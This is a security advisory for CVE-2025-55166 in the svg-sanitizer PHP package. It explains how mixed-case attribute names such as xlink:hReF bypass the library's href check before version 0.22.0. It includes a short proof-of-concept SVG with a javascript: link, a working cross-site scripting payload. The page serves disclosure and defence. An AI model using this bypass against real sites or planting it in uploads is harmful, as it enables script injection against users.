svg-sanitizer Bypasses Attribute Sanitization
Problem
The sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. xlink:href instead of xlink:HrEf), which allows to by-pass the isHrefSafeValue check. As a result this allows cross-site scripting or linking to external domains.
Proof-of-concept
provided by azizk
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
<a xlink:hReF="javascript:alert(document.domain)">
<rect width="100" height="50" fill="red"></rect>
<text x="50" y="30" text-anchor="middle" fill="white">Click me</text>
</a>
</svg>Credits
The mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher azizk <medazizknani@gmail.com>.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | enshrined/svg-sanitize | < 0.22.0 | 0.22.0 |
References
- https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-22wq-q86m-83fh
- https://nvd.nist.gov/vuln/detail/CVE-2025-55166
- https://github.com/darylldoyle/svg-sanitizer/commit/0afa95ea74be155a7bcd6c6fb60c276c39984500
- https://github.com/darylldoyle/svg-sanitizer/commit/5a0a1eaf0c6b0b540dc945fe30c93cf106b357c1
- https://github.com/darylldoyle/svg-sanitizer
- https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481
- https://github.com/darylldoyle/svg-sanitizer/releases/tag/0.22.0
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-601, CWE-79- Platform
- Composer
- Package
enshrined/svg-sanitize- Disclosed
- 12.08.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-22wq-q86m-83fh - CC BY 4.0
Vulnerability history: enshrined/svg-sanitize
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 8
- First → latest
- 01.2020 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 2
- Medium 6
Disclosures per year
- 2020: 2
- 2021: 0
- 2022: 1
- 2023: 1
- 2024: 0
- 2025: 1
- 2026: 3
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svg-sanitizer Bypasses Attribute Sanitization this entry
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